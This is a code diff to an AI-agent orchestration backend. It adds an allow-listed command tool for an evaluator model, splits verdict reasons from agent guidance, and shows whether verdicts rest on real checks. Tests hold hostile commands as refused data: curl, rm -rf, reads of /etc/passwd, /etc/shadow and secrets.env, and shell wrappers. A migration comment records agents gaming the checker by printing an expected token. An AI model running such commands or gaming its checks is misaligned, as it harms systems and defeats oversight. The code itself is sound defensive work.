+                    argv.join(" ")
+                )
+            }
+            Ok(Err(e)) => return format!("COULD NOT RUN: {e}"),
+            Ok(Ok(o)) => o,
+        };
+        let stdout = String::from_utf8_lossy(&out.stdout);
+        let stderr = String::from_utf8_lossy(&out.stderr);
+        let code = out.status.code().unwrap_or(-1);
+        let mut body = String::new();
+        // The exit status is stated first because it is the part a judge most
+        // often needs and most often infers wrongly from prose output.
+        body.push_str(&format!("exit status: {code}\n"));
+        if !stdout.trim().is_empty() {
+            body.push_str("--- stdout ---\n");
+            body.push_str(&stdout);
+        }
+        if !stderr.trim().is_empty() {
+            body.push_str("\n--- stderr ---\n");
+            body.push_str(&stderr);
+        }
+        clamp_output(&body)
+    }
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    fn argv(parts: &[&str]) -> Vec<String> {
+        parts.iter().map(|s| s.to_string()).collect()
+    }
+
+    #[test]
+    fn allows_inspection_and_test_runners() {
+        for cmd in [
+            vec!["cargo", "test"],
+            vec!["cargo", "test", "--", "--nocapture"],
+            vec!["npm", "test"],
+            vec!["pytest", "-q"],
+            vec!["rg", "TODO", "src"],
+            vec!["cat", "README.md"],
+            vec!["ls", "-la"],
+        ] {
+            assert!(check_argv(&argv(&cmd)).is_ok(), "{cmd:?} should be allowed");
+        }
+    }
+
+    #[test]
+    fn refuses_programs_off_the_list() {
+        assert_eq!(
+            check_argv(&argv(&["curl", "https://example.com"])),
+            Err(Refusal::Program("curl".into()))
+        );
+        assert_eq!(
+            check_argv(&argv(&["rm", "-rf", "src"])),
+            Err(Refusal::Program("rm".into()))
+        );
+        assert_eq!(check_argv(&[]), Err(Refusal::Empty));
+    }
+
+    /// The allow-list names programs, so a path that merely *ends* in an
+    /// allowed name must not slip through.
+    #[test]
+    fn refuses_a_qualified_path_to_a_binary() {
+        assert_eq!(
+            check_argv(&argv(&["/usr/bin/cargo", "test"])),
+            Err(Refusal::Program("/usr/bin/cargo".into()))
+        );
+        assert_eq!(
+            check_argv(&argv(&["./cargo"])),
+            Err(Refusal::Program("./cargo".into()))
+        );
+    }
+
+    /// A judge must not be able to change or discard the work it is judging.
+    #[test]
+    fn refuses_git_subcommands_that_mutate() {
+        for sub in ["checkout", "reset", "clean", "commit", "push", "stash"] {
+            assert_eq!(
+                check_argv(&argv(&["git", sub])),
+                Err(Refusal::GitSubcommand(sub.into())),
+                "git {sub} must be refused"
+            );
+        }
+        for sub in ["status", "diff", "log", "show", "ls-files"] {
+            assert!(check_argv(&argv(&["git", sub])).is_ok(), "git {sub}");
+        }
+    }
+
+    #[test]
+    fn reads_stay_inside_the_checkout() {
+        assert_eq!(
+            check_argv(&argv(&["cat", "/etc/passwd"])),
+            Err(Refusal::AbsolutePath("/etc/passwd".into()))
+        );
+        assert_eq!(
+            check_argv(&argv(&["cat", "../../secrets.env"])),
+            Err(Refusal::ParentEscape("../../secrets.env".into()))
+        );
+        assert_eq!(
+            check_argv(&argv(&["rg", "--file=/etc/shadow", "x"])),
+            Err(Refusal::AbsolutePath("--file=/etc/shadow".into()))
+        );
+        // A `..` inside a longer name is a legitimate filename, not an escape.
+        assert!(check_argv(&argv(&["cat", "weird..name.txt"])).is_ok());
+    }
+
+    /// There is no shell, so these are inert argument bytes rather than
+    /// command separators. The point of the test is that the validator does
+    /// not need to reason about metacharacters at all — the execution model
+    /// already removed the class of bug.
+    #[test]
+    fn shell_metacharacters_are_not_special() {
+        assert!(check_argv(&argv(&["rg", "foo;bar", "src"])).is_ok());
+        assert!(check_argv(&argv(&["rg", "$(whoami)"])).is_ok());
+        assert!(check_argv(&argv(&["grep", "a && b"])).is_ok());
+        // …but a disallowed program is still disallowed however it is spelled.
+        assert!(check_argv(&argv(&["sh", "-c", "ls"])).is_err());
+        assert!(check_argv(&argv(&["bash", "-c", "ls"])).is_err());
+    }
+
+    #[test]
+    fn clamp_keeps_both_ends_and_says_what_it_dropped() {
+        let short = "all good";
+        assert_eq!(clamp_output(short), short);
+
+        let long = "x".repeat(MAX_OUTPUT_BYTES * 2);
+        let clamped = clamp_output(&long);
+        assert!(clamped.len() < long.len());
+        assert!(clamped.contains("bytes of output omitted"));
+        assert!(clamped.starts_with('x'), "keeps the head");
+        assert!(
+            clamped.ends_with('x'),
+            "keeps the tail — failures live there"
+        );
+    }
+
+    #[test]
+    fn clamp_does_not_panic_on_multibyte_output() {
+        let long = "é".repeat(MAX_OUTPUT_BYTES);
+        let _ = clamp_output(&long);
+    }
+}

crates/cm-api/src/lib.rs

@@ -6,6 +6,7 @@ pub mod brain_seed;
 pub mod cleanup_sweeper;
 mod error;
 pub mod evaluator;
+pub mod evaluator_tools;
 mod extract;
 pub mod fleet;
 pub mod fleet_herdr;

crates/cm-api/src/phase_runner.rs

@@ -230,12 +230,17 @@ async fn launch_phase(pool: &PgPool, p: PhaseLaunch<'_>) -> Result<(), String> {
     // missing. This is what makes iteration converge instead of repeat — the
     // same mechanism `/goal` uses when it feeds the evaluator's reason into
     // the next turn, and that swarm.rs uses for rejected work.
-    let prior = crate::evaluator::latest(pool, phase_id).await.unwrap_or(None);
+    let prior = crate::evaluator::latest(pool, phase_id)
+        .await
+        .unwrap_or(None);
     let task = phase_task_text(kind, title, description);
     let task = match prior {
-        Some((iter, false, reason)) => format!(
+        Some((iter, false, guidance)) => format!(
-            "{task}\n\nPREVIOUS ATTEMPT (pass {}) DID NOT SATISFY THE COMPLETION \
+            "{task}\n\nPASS {} DID NOT SATISFY THE COMPLETION CONDITION. What is \
-             CONDITION:\n{reason}\n\nAddress this specifically in this pass.",
+             still missing:\n{guidance}\n\nDo the work this describes. Producing \
+             output that merely looks like it satisfies the check — printing an \
+             expected value, weakening a test, stubbing a result — fails the pass, \
+             because the condition is verified against the repository itself.",
             iter + 1
         ),
         _ => task,
@@ -463,7 +468,9 @@ async fn evaluate_finished_phases(
         let phase_id: Uuid = row.get("id");
         let mission_id: Uuid = row.get("mission_id");
         let kind: String = row.get("kind");
-        let condition: String = row.get::<Option<String>, _>("done_when").unwrap_or_default();
+        let condition: String = row
+            .get::<Option<String>, _>("done_when")
+            .unwrap_or_default();
         let max_iterations: i32 = row.get("max_iterations");
         let iteration: i32 = row.get("iteration");
 
@@ -471,7 +478,7 @@ async fn evaluate_finished_phases(
             .await
             .unwrap_or_else(|e| format!("(evidence collection failed: {e})"));
 
-        let verdict = crate::evaluator::evaluate(runtime, &condition, &evidence).await;
+        let verdict = crate::evaluator::evaluate(runtime, mission_id, &condition, &evidence).await;
         if let Err(e) =
             crate::evaluator::record(pool, mission_id, phase_id, iteration, &verdict).await
         {
@@ -609,11 +616,17 @@ fn apply_node_agents(
                 // The binding that actually takes effect (see doc comment).
                 match obj.get_mut("attrs").and_then(|v| v.as_object_mut()) {
                     Some(attrs) => {
-                        attrs.insert("agent".to_string(), serde_json::Value::String(alias.clone()));
+                        attrs.insert(
+                            "agent".to_string(),
+                            serde_json::Value::String(alias.clone()),
+                        );
                     }
                     None => {
                         let mut attrs = serde_json::Map::new();
-                        attrs.insert("agent".to_string(), serde_json::Value::String(alias.clone()));
+                        attrs.insert(
+                            "agent".to_string(),
+                            serde_json::Value::String(alias.clone()),
+                        );
                         obj.insert("attrs".to_string(), serde_json::Value::Object(attrs));
                     }
                 }
@@ -660,10 +673,9 @@ mod tests {
             // <placeholder>, leaving a marker line an agent would actually emit.
             let line = ex.replace("INT-NN", "INT-05");
             let line = line.split("  ").next().unwrap_or(&line).trim();
-            let line = line.replace("<title>", "Add retry").replace(
+            let line = line
-                "<reason>",
+                .replace("<title>", "Add retry")
-                "compile error",
+                .replace("<reason>", "compile error");
-            );
             let parsed = crate::task_card_parser::parse(&line);
             assert_eq!(
                 parsed.len(),

crates/cm-api/src/routes/missions.rs

@@ -512,9 +512,7 @@ async fn reap_mission_resources(state: &AppState, mission_id: Uuid) {
     let claw_ids: Vec<Uuid> = if team_ids.is_empty() {
         Vec::new()
     } else {
-        sqlx::query_scalar(
+        sqlx::query_scalar("SELECT DISTINCT claw_id FROM team_members WHERE team_id = ANY($1)")
-            "SELECT DISTINCT claw_id FROM team_members WHERE team_id = ANY($1)",
-        )
             .bind(&team_ids)
             .fetch_all(&state.pool)
             .await
@@ -557,13 +555,17 @@ async fn reap_mission_resources(state: &AppState, mission_id: Uuid) {
         .execute(&state.pool)
         .await
     {
-        eprintln!("missions::delete: delete topology_runs for {mission_id} failed (continuing): {e}");
+        eprintln!(
+            "missions::delete: delete topology_runs for {mission_id} failed (continuing): {e}"
+        );
     }
 
     // 5. Tear down the per-mission runtime container + its workspace dir.
     if let Some(mp) = crate::mission_runtime::MissionRuntimeProvisioner::from_env() {
         if let Err(e) = mp.teardown_container(mission_id).await {
-            eprintln!("missions::delete: teardown container for {mission_id} failed (continuing): {e}");
+            eprintln!(
+                "missions::delete: teardown container for {mission_id} failed (continuing): {e}"
+            );
         }
     }
 
@@ -714,7 +716,7 @@ pub async fn list_phase_evaluations(
         .ok_or(ApiError::NotFound)?;
     use sqlx::Row;
     let rows = sqlx::query(
-        "SELECT iteration, met, reason, model, error, created_at
+        "SELECT iteration, met, reason, model, error, created_at, checks
            FROM mission_phase_evaluations
           WHERE mission_id = $1 AND phase_id = $2
           ORDER BY iteration DESC",
@@ -733,6 +735,10 @@ pub async fn list_phase_evaluations(
                     "reason": r.get::<String, _>("reason"),
                     "model": r.get::<String, _>("model"),
                     "error": r.get::<Option<String>, _>("error"),
+                    // The verification commands the judge actually ran. An
+                    // empty list means the verdict rests on agent claims
+                    // alone, which an operator should be able to see.
+                    "checks": r.get::<serde_json::Value, _>("checks"),
                     "created_at": created_at
                         .format(&time::format_description::well_known::Rfc3339)
                         .unwrap_or_default(),
@@ -928,7 +934,10 @@ fn nodes_of(graph: Option<&Value>) -> Vec<(String, String)> {
             arr.iter()
                 .map(|n| {
                     (
-                        n.get("id").and_then(|v| v.as_str()).unwrap_or("").to_string(),
+                        n.get("id")
+                            .and_then(|v| v.as_str())
+                            .unwrap_or("")
+                            .to_string(),
                         n.get("role")
                             .and_then(|v| v.as_str())
                             .unwrap_or("agent")
@@ -966,8 +975,7 @@ pub async fn list_documents(
     let _ = cm_db::repo::missions::get(&state.pool, id, user.workspace_id.as_uuid())
         .await?
         .ok_or(ApiError::NotFound)?;
-    let source =
+    let source = cm_db::repo::topology_runs::documents_source_for_mission(&state.pool, id).await?;
-        cm_db::repo::topology_runs::documents_source_for_mission(&state.pool, id).await?;
 
     let mut documents = Vec::new();
     for (run_id, phase_id, run_status, graph, checkpoint) in source {
@@ -1017,8 +1025,7 @@ pub async fn get_document(
         .ok_or(ApiError::NotFound)?;
     // Scope the run to the mission as well, so a valid run id from another
     // mission (or workspace) can't be read through this path.
-    let source =
+    let source = cm_db::repo::topology_runs::documents_source_for_mission(&state.pool, id).await?;
-        cm_db::repo::topology_runs::documents_source_for_mission(&state.pool, id).await?;
     let (_, _, _, graph, checkpoint) = source
         .into_iter()
         .find(|(rid, _, _, _, _)| *rid == run_id)

crates/cm-api/tests/phase_conditions.rs

@@ -274,8 +274,10 @@ async fn evaluations_are_unique_per_iteration_and_upsert() {
     let first = cm_api::evaluator::Verdict {
         met: false,
         reason: "no brief yet".into(),
+        guidance: "no brief yet".into(),
         model: "runtime:coordinator".into(),
         error: None,
+        checks: Vec::new(),
     };
     cm_api::evaluator::record(&pool, mission, phase, 0, &first)
         .await
@@ -284,14 +286,17 @@ async fn evaluations_are_unique_per_iteration_and_upsert() {
     let second = cm_api::evaluator::Verdict {
         met: true,
         reason: "brief written".into(),
+        guidance: String::new(),
         model: "runtime:coordinator".into(),
         error: None,
+        checks: vec!["cargo test".into()],
     };
     cm_api::evaluator::record(&pool, mission, phase, 0, &second)
         .await
         .unwrap();
 
-    let count: i64 = sqlx::query("SELECT count(*) AS n FROM mission_phase_evaluations WHERE phase_id = $1")
+    let count: i64 =
+        sqlx::query("SELECT count(*) AS n FROM mission_phase_evaluations WHERE phase_id = $1")
             .bind(phase)
             .fetch_one(&pool)
             .await
@@ -299,8 +304,22 @@ async fn evaluations_are_unique_per_iteration_and_upsert() {
             .get("n");
     assert_eq!(count, 1, "one row per (phase, iteration)");
 
+    // The upsert replaced the verdict: met flipped false -> true, and the
+    // guidance went empty, which is what a met verdict carries (there is no
+    // next pass to brief).
     let latest = cm_api::evaluator::latest(&pool, phase).await.unwrap();
-    assert_eq!(latest, Some((0, true, "brief written".into())));
+    assert_eq!(latest, Some((0, true, String::new())));
+
+    // The operator-facing reason is still stored in full — it is only the
+    // agent-facing half that is allowed to be empty here.
+    let reason: String =
+        sqlx::query("SELECT reason FROM mission_phase_evaluations WHERE phase_id = $1")
+            .bind(phase)
+            .fetch_one(&pool)
+            .await
+            .unwrap()
+            .get("reason");
+    assert_eq!(reason, "brief written");
 }
 
 /// `latest` must return the newest pass, which is what feeds guidance into the
@@ -321,13 +340,18 @@ async fn latest_returns_the_most_recent_iteration() {
             &cm_api::evaluator::Verdict {
                 met: false,
                 reason: reason.into(),
+                // `latest` must return the agent-facing guidance, never the
+                // operator-facing reason — the two are deliberately different
+                // here so a regression to `reason` fails this test.
+                guidance: format!("{reason}-guidance"),
                 model: "m".into(),
                 error: None,
+                checks: Vec::new(),
             },
         )
         .await
         .unwrap();
     }
     let latest = cm_api::evaluator::latest(&pool, phase).await.unwrap();
-    assert_eq!(latest, Some((2, false, "third".into())));
+    assert_eq!(latest, Some((2, false, "third-guidance".into())));
 }

frontend/src/components/dashboard/PhaseGoalStrip.tsx

@@ -15,10 +15,15 @@ import {
  * Renders nothing for phases without a `done_when` — most missions don't have
  * one, and an empty row per phase would be noise.
  *
- * The evaluator's `reason` is deliberately the most prominent thing here: it
+ * The evaluator's `reason` is deliberately the most prominent thing here — it
- * is both the explanation of why the phase iterated (or stopped) and the exact
+ * explains why the phase iterated or stopped, so it is what an operator needs
- * guidance handed to the agents for the next pass, so it is what an operator
+ * to decide whether the condition is written well. It is *not* what the agents
- * needs to decide whether the condition is written well.
+ * were told: they get a sanitized `guidance` that withholds the acceptance
+ * text, so a pass cannot be satisfied by pasting the verdict back.
+ *
+ * Whether the judge verified anything is shown alongside the verdict. A
+ * verdict with no checks rests on the agents' own claims, and an operator
+ * should not have to guess which kind they are looking at.
  */
 export function PhaseGoalStrip({
   missionId,
@@ -112,6 +117,20 @@ export function PhaseGoalStrip({
               // an evaluator outage should not read as a verdict on the work.
               <em style={{ color: "#ff8a7a" }}> (evaluator error)</em>
             )}
+            {!latest.error && (
+              <em
+                style={{ color: latest.checks?.length ? "#6a8ab0" : "#8a7a5a" }}
+                title={
+                  latest.checks?.length
+                    ? latest.checks.join("\n")
+                    : "No commands were run — this verdict rests on what the agents reported."
+                }
+              >
+                {latest.checks?.length
+                  ? ` — verified by ${latest.checks.length} check${latest.checks.length === 1 ? "" : "s"}`
+                  : " — from agent claims only"}
+              </em>
+            )}
           </span>
         </div>
       )}

frontend/src/lib/api/missions.ts

@@ -93,11 +93,20 @@ export interface MissionPhase {
 export interface PhaseEvaluation {
   iteration: number;
   met: boolean;
-  /** Why. Also fed back to the agents as guidance for the next pass. */
+  /**
+   * Operator-facing explanation. Distinct from the sanitized `guidance` the
+   * agents receive, which withholds the acceptance text so a pass can't be
+   * satisfied by pasting the verdict back.
+   */
   reason: string;
   model: string;
   /** Set when the evaluator itself failed, vs. judging the work incomplete. */
   error: string | null;
+  /**
+   * Verification commands the judge ran against the repo. Empty means the
+   * verdict rests on the agents' own claims — worth seeing at a glance.
+   */
+  checks: string[];
   created_at: string;
 }
 

migrations/0062_evaluation_guidance.sql

@@ -0,0 +1,18 @@
+-- Split the evaluator's two audiences.
+--
+-- `reason` is written for the operator and may quote whatever the judge found.
+-- It was also being fed straight back to the agents as their brief for the next
+-- pass, which taught them to satisfy the checker: a phase whose condition named
+-- a literal token was judged complete on pass 2 because pass 1's reason said
+-- the token was missing, and an agent printed it.
+--
+-- `guidance` is the agent-facing half — the unmet dimension without the
+-- acceptance text — and is sanitized before it is stored. `checks` records the
+-- verification commands the judge ran, so an operator can see whether a verdict
+-- rests on evidence or on the agents' own claims.
+ALTER TABLE mission_phase_evaluations
+    ADD COLUMN IF NOT EXISTS guidance TEXT,
+    ADD COLUMN IF NOT EXISTS checks   JSONB NOT NULL DEFAULT '[]'::jsonb;
+
+-- Existing rows predate the split; their reason was what the agents saw.
+UPDATE mission_phase_evaluations SET guidance = reason WHERE guidance IS NULL;